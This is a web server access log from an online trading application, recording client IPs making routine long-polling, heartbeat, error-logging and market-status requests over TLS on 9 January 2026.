[09/Jan/2026:12:06:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931868126 HTTP/1.1" -
[09/Jan/2026:12:06:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931869886 HTTP/1.1" -
[09/Jan/2026:12:06:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931870326 HTTP/1.1" -
[09/Jan/2026:12:06:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931870326 HTTP/1.1" -
[09/Jan/2026:12:06:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931870845 HTTP/1.1" -
[09/Jan/2026:12:06:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931873339 HTTP/1.1" -
[09/Jan/2026:12:06:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931874431 HTTP/1.1" -
[09/Jan/2026:12:06:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931873198 HTTP/1.1" -
[09/Jan/2026:12:06:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931874929 HTTP/1.1" -
[09/Jan/2026:12:06:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931876009 HTTP/1.1" -
[09/Jan/2026:12:06:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931876336 HTTP/1.1" -
[09/Jan/2026:12:06:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931876336 HTTP/1.1" -
[09/Jan/2026:12:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931879334 HTTP/1.1" -
[09/Jan/2026:12:06:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931879972 HTTP/1.1" -
[09/Jan/2026:12:06:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931878257 HTTP/1.1" -
[09/Jan/2026:12:06:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931879702 HTTP/1.1" -
[09/Jan/2026:12:06:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931881131 HTTP/1.1" -
[09/Jan/2026:12:06:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931882339 HTTP/1.1" -
[09/Jan/2026:12:06:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931882340 HTTP/1.1" -
[09/Jan/2026:12:06:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931884998 HTTP/1.1" -
[09/Jan/2026:12:06:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931883343 HTTP/1.1" -
[09/Jan/2026:12:06:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931884831 HTTP/1.1" -
[09/Jan/2026:12:06:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931885330 HTTP/1.1" -
[09/Jan/2026:12:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931886270 HTTP/1.1" -
[09/Jan/2026:12:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:06:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:06:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:06:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931888333 HTTP/1.1" -
[09/Jan/2026:12:06:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931888334 HTTP/1.1" -
[09/Jan/2026:12:07:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931890037 HTTP/1.1" -
[09/Jan/2026:12:07:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931888377 HTTP/1.1" -
[09/Jan/2026:12:07:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931890074 HTTP/1.1" -
[09/Jan/2026:12:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931891426 HTTP/1.1" -
[09/Jan/2026:12:07:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931891334 HTTP/1.1" -
[09/Jan/2026:12:07:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931894338 HTTP/1.1" -
[09/Jan/2026:12:07:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931894339 HTTP/1.1" -
[09/Jan/2026:12:07:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931895084 HTTP/1.1" -
[09/Jan/2026:12:07:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931893420 HTTP/1.1" -
[09/Jan/2026:12:07:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931895245 HTTP/1.1" -
[09/Jan/2026:12:07:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931896488 HTTP/1.1" -
[09/Jan/2026:12:07:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931897329 HTTP/1.1" -
[09/Jan/2026:12:07:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931900125 HTTP/1.1" -
[09/Jan/2026:12:07:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931898633 HTTP/1.1" -
[09/Jan/2026:12:07:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931900328 HTTP/1.1" -
[09/Jan/2026:12:07:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931900328 HTTP/1.1" -
[09/Jan/2026:12:07:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931900446 HTTP/1.1" -
[09/Jan/2026:12:07:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931901544 HTTP/1.1" -
[09/Jan/2026:12:07:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931903327 HTTP/1.1" -
[09/Jan/2026:12:07:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931905183 HTTP/1.1" -
[09/Jan/2026:12:07:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931903703 HTTP/1.1" -
[09/Jan/2026:12:07:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931905712 HTTP/1.1" -
[09/Jan/2026:12:07:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931906336 HTTP/1.1" -
[09/Jan/2026:12:07:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931906336 HTTP/1.1" -
[09/Jan/2026:12:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931906679 HTTP/1.1" -
[09/Jan/2026:12:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931909334 HTTP/1.1" -
[09/Jan/2026:12:07:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931910219 HTTP/1.1" -
[09/Jan/2026:12:07:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931908792 HTTP/1.1" -
[09/Jan/2026:12:07:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931910928 HTTP/1.1" -
[09/Jan/2026:12:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931911807 HTTP/1.1" -
[09/Jan/2026:12:07:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931912337 HTTP/1.1" -
[09/Jan/2026:12:07:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931912337 HTTP/1.1" -
[09/Jan/2026:12:07:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:07:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:07:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931915245 HTTP/1.1" -
